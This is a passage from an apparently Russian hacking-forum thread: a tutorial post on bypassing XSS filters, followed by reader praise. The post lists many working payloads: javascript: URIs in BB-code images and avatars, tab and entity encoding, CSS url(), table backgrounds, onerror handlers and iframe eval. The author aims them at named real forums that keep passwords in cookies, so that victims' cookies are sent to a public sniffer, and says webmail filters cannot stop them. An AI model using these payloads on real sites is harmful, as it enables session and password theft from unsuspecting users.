следующие: HTML: [img]javascript:alert(/wj/).gif[/img] То в результате, мы получим обработанный ББ кодами следующий результат в HTML, и у нас выскочит алёрт. HTML: <img src="javascript:alert(/wj/)"> Чтобы такого не случилось, то есть чтобы пользователь не имел возможности вливать свои команды JavaScript`a когда он посылает динамический материал который будет виден всем, многие фильтры очень умно, просто напросто сами добавляют http:// в ББ код ссылки или картинки, перед динамическим значением пользователя. То есть, если мы на хорошо фильтрующем форуме, в ББ код картинки засунем следующий материал, HTML: [img]javascript:alert(/wj/).gif[/img] То он обработает это вот так: HTML: <img src="http://javascript:alert(/wj/).gif"> И плакали все наши старания атаковать через этот метод.... Но некоторые фильтры вместо того, чтобы просто добавить http:// перед любым введением динамического материала пользователя, просто фильтруют слово JavaScript заклиниваясь на нем....они просто не понимают, что работает, почему что то работает и как что то работает вот и все. В итоге лечат как называется - в слепую. О как много значит понимать!!! Ну пойдем-те дальше. Если к примеру, на форуме XXX ввести следующие значение, HTML: [img]javascript:alert(/wj/).gif[/img] То форум поставит слеш, в середине слеша две звездочки, а потом эти две звездочки закроются другим слешом. В результате он выдаст вот такую конструкцию: HTML: <img src="java/**/script:alert(/wj/)"> Конструкция /**/ это тоже самое (Образно говоря, конечно не совсем так, так как это зависит чисто от ситуации. Это вообще то даже не пробел, а совсем другое, однако это не совсем важно иМхо.) что и пробел. То есть он просто слово JavaScript, разделил пробелом. HTML: <img src="java script:alert(/wj/)"> Да, так работать Javascript не будет....но если бы писатель фильтров форума ХХХ понимал, что собственно происходит ДО того как параметры обрабатываются, то он все таки поставил бы http:// вместо того, чтобы заклиниваться на ключевом слове JavaScript. Когда браузер берет значение параметра, то он его до выполнения обрабатывает это мы знаем.....а теперь давайте посмотрим, что будет если перед каждым словом, мы вставим табуляцию. Давайте посмотрим как обработает это браузер. HTML: <img src=" j a v a s c r i p t : a l e r t ( / w j / ) "> Перед каждым словом, стоит табуляция. Введем мы одно, а получим в результате - другое. Наше динамическое введение в ББ код картинки, будет передано форуму, который засунет это в файл где будет скан на наш динамический ввод, не найдя ничего запретного, файл вставит это в HTML, а браузер обработает наш динамический ввод - по своему. =))) HTML: <img src=" j a v a s c r i p t : a l e r t ( / w j / ) "> Браузер как в чём не бывало, просто напросто уберет все табуляции ДО выполнения. В итоге, он выполнит следующие: HTML: javascript:alert(/wj/) И опять таки, у нас выскочит алёрт. Тоже самое происходит и с HTML entities DEC, HEX т.д. Браузер их обрабатывает и расшифровывает их до выполнения параметра. Имея теперь такое новое знание, рассмотрим ещё одну фильтрацию на примере http://forum.Xakep.ru http://forum.gameland.ru и http://forum.xyligan.ru Ведь уже понятно, что совсем не обязательно использовать ББ коды....ведь ещё есть и персональная фотография, и аватара....они будут идти с вами куда бы не бывало и будут преданны вам каким бы хамом вы бы небыли...с кем бы вы не говорили....короче все вас могут бросить, а они с вами - вечно. Идём в наши настройки профиля и указываем адрес в нашу аватару как: HTML: javascript:alert(/wj/) Мы получим подтверждение, что наш профиль обновлен. Давайте теперь заглянем в HTML.... (Ctrl+U) Получилось следующие... HTML: <html><body><img src="java:alert(/wj/)"></body></html> Очевидно, что файл который сканил наш динамический ввод, нашел неприятное для него и любезное для нас слово JavaScript, и нагло разделил его, а потом без нашего разрешения вырезал вторую половину... ЧТО ЗА БЕСПРЕДЕЛ!? Вы меня спросите....спакуха, Я с вами. А давайте посмотрим, что будет, если буквы javascript мы зашифруем ихними эквилиаторами. Уже понятно что будет, наш браузер, наш динамический ввод, расшифрует перед выполнением нашего параметра и у нас выскочит алёрт. Вот такая мы команда Я и мой браузер, Я шифрую, он расшифровывает. +) Как написать сниффер? Вот так. Причем форумы http://forum.Xakep.ru http://forum.gameland.ru и http://forum.xyligan.ru Прославились тем, что они пассворд в куках пользователей - держат в открытом виде. Теперь куки, а в них и не зашифрованный пароль в открытом виде, будут приходить на публичный античатовский сниффер от всех юзеров кто пользуется браузером ИЕ и Опера, а вам только нужно будет разговаривать с собеседниками у которого браузер ИЕ или Опера - как в чём не бывало. Используйте эту ссылку для шифровки. http://ha.ckers.org/xss.html Эту ссылку, чтобы выучить языки, правда все на Английском. http://www.w3schools.com/ Эту ссылку, http://www.lookuptables.com/ Для просмотра значений ASCII (American Standard Code for Information Interchange) Ну и продолжим нашу статью. Собственно теперь вопрос почему код: HTML: <html><body> <span style="background:url(javascript:alert(/wj/));">wj</span> </body></html> Или, HTML: <html><body> <span style="background-image:url(javascript:alert(/wj/));" >wj</span> </body></html> Работает только в браузере ИЕ? Во-первых, если кто не знал, это (В параметре) язык CSS, и следовательно писать надо четко и понятно, так как система ИЕ убирать ошибки программистов, не так уж и разработана в таких браузерах как Фаерфокс и Опера. Я пришел к выводу, что ссылку надо заключать в кавычки. HTML: <html><body> <span style="background:url('javascript:alert(/wj/)');">wj</span> </body></html> Или, HTML: <html><body> <span style="background-image:url('javascript:alert(/wj/)');" >wj</span> </body></html> Или, HTML: <html><body> <span style="display:none;background:url('javascript:eval((this.wj1));wj1=alert(/wj2/);') "> </body></html> И теперь все, и везде - работает. Во всех трех браузерах. Однако только потому что теперь Алголовский од работает во всех трех браузерах, совсем не означает, что фаерфокс эту атаку не от-блокируют. Для начала, выложу то, что работает в ИЕ и Опере: HTML: <html><body> <table width="100%" background="javascript:alert('wj')"> </body></html> Или, HTML: <html><body> <table cellpadding="0" background="javascript:alert('wj')"> </body></html> Ибо как только мы поняли, что вместо урл можно вставлять, HTML: JavaScript:alert('wj') То следующие действия очень понятны. Найти все, что указывает урл, (Используйте для этого следующий урл http://www.w3schools.com/ ) и вставить туда HTML: JavaScript:alert('wj') К примеру, HTML: <html><body> <table background="javascript:alert('wj')"> </body></html> Ну и так далее иМхо. HTML: <html><body> <script language="bla bla bla" type="text/bla" src="javascript:alert('wj')"></script> </body></html> HTML: <script type="text/javascript" src="javascript:alert('wj')"></script> HTML: <html><body> <link rel="stylesheet" type="text/css" href="javascript:alert('wj')"> </body></html> Выскакивает алёрт в ИЕ и Опере, (Фаерфокс это блокирует, но потом покажу что он НЕ блокирует) и ни единой паливы иМхо. Мне кажется, что ни один имейл не сможет отфильтровать то, что Я вам сегодня дал. Именно по этому Американским солдатам, ЗАПРЕЩЕНО использовать такие ящики как http://www.hotmail.com/ http://mail.yahoo.com/ и http://www.gmail.com/ ...что уже говорить у русских ящиках которые не имеют достаточно финансов, чтобы иметь защиту, ну хотя бы ПОХОЖУЮ иМхо на Америкосовские ящики ИМХО ибо Я Гений. Но продолжим, ибо это вы и так уже знаете. Для начала, поясню кое что для новичков, Это, HTML: <script language="javascript">a=1;while(a>=0){alert(a);a--}</script> Тоже самое, что и это, HTML: javascript:a=1;while(a>=0){alert(a);a--} Где убрав угловые скобки и сократив наш скрипт до вышеприведенной строки, мы так же дали знать браузеру посредством протокола, что идет язык JavaScript. Чуток о мылах. Должен заметить, что иногда, проверяется или точнее сказать фильтруется на ящиках только первый параметр тега с его атрибутом...но ведь ещё есть и вспомогающие атрибуты...про них иМхо, часто писатели фильтров - забывают. К примеру: HTML: <html><body> <img class="inlineimg" src="javascript:alert('wj')" alt="" border="0"/> </body></html> А теперь давайте рассмотрим, что Фаерфокс НЕ блокирует, чисто для примера. Ибо способов уйма иМхо. HTML: <html><body> <body onload=alert(/wj/)> </body></html> HTML: <html><body> <img src="" onerror=alert(/wj/) style="display:none"> </body></html> HTML: <html><body> <img src="" onerror="javascript:alert('wj')"> </body></html> И хоть в этой статье, http://antichat.ru/crackchat/HTML/ И говорится что цитирую: Однако в фаерфкос это работает. HTML: <html><body> <iframe src= "javascript:eval(this.wj); wj=this.wj='<scrip\x74>aler\x74(/wj/);</scrip\x74>'"> </body></html> (Использована табуляция для попытке обхода фильтров на ящиках.) HTML: <html><body> <iframe src= "javascript:eval(this.wj); this.wj='<scrip\x74>aler\x74(/wj/);</scrip\x74>'"> </body></html> (Использована табуляция для попытке обхода фильтров на ящиках.) Если в настройках в ИЕ, запретить active content работать в файлах на нашем компьютере, то в отличие от Фаерфоксовской защиты, которая в Фаерфоксе по умолчанию и изменить ее нельзя, обойти защиту ИЕ, которую нужно отредактировать в настройках - однако никак нельзя. Что есть существенное доказательство, что IE и ЕСТЬ самый защищенный браузер среди его конкурентов у себя на компьютере ) Просто надо правильно уметь им пользоваться. +) В других словах ИЕ, является самым лучшим и самым защищенным браузером на сегодняшний день от атак XSS на localhost. На этом пожалуй и окончу свою Гениальнейшую статью. White Jordan.
все на что был способен это сохранить, больше неасилил, надо бы почитать ,действительна статья гениальная, блеск
хы,статья не плохая,wj респект все не асилил 3-4 экрана пролистал из-за того что не интересно,то есть кусками почитал,уж больно размулевано сильно =)
А статья так, ничего... правда я ещё не читал-)) Уж больно много=))) Как всегда юмор тоже присутствует=)) Значит все, кроме Алгола тут новички))))))))
хм сильно! но имхо все это можно было уложить в меньшем обьеме=)) подробно расписана работа с атрибутом style - молодец --- Всех с наступающим!!
Молодец wj,можна сказать браво,конечно всё не прочитаеш потому что многа, а так некотырые моменты прочитал.
Ипать, ты походу пол-рунета сюда скопи-пастил =)))....Ну если много тегов, то значит что то полезное)), прочту когда пару недель свободно будет -)))
Естественно статья получилось очень долгая, (Я вообще-то хотел и по дольше написать) так что не стесняйтесь указывать на ошибки, как грамматические так и технические. Я по тихоньку поправляю что замечаю, но сами понимаете все заметить не смогу. Кстати кому нужна моя аська, то вот она: 271297145 З.Ы. Белый Джордан не несет никакой ответственности если Белого Джордана в аськи нет, а так же не несет ответственности если опять бзикнит, и поменяет свою аську на другую.
Вот ето я понимаю человек поработал. Респект. ЗЫ: WJ - the best! --------------------------------------- А написать?
как ни старался, не смог дочитать до конца. Статья реально полезная. ТОлько вот фиолетовые теги на сером фоне форума тяжело читаются, приходилось выделять
Статья -- АРХИРУЛЕЗ Я вот все думал почему <span style='background:url("javascript:alert()");'>wj</span> не работает в опере..... а тут оказалось что работает... только вот для того чтобы работало надо чтобы и одинарные и двойные кавычки не фильтровались... грустно это как-то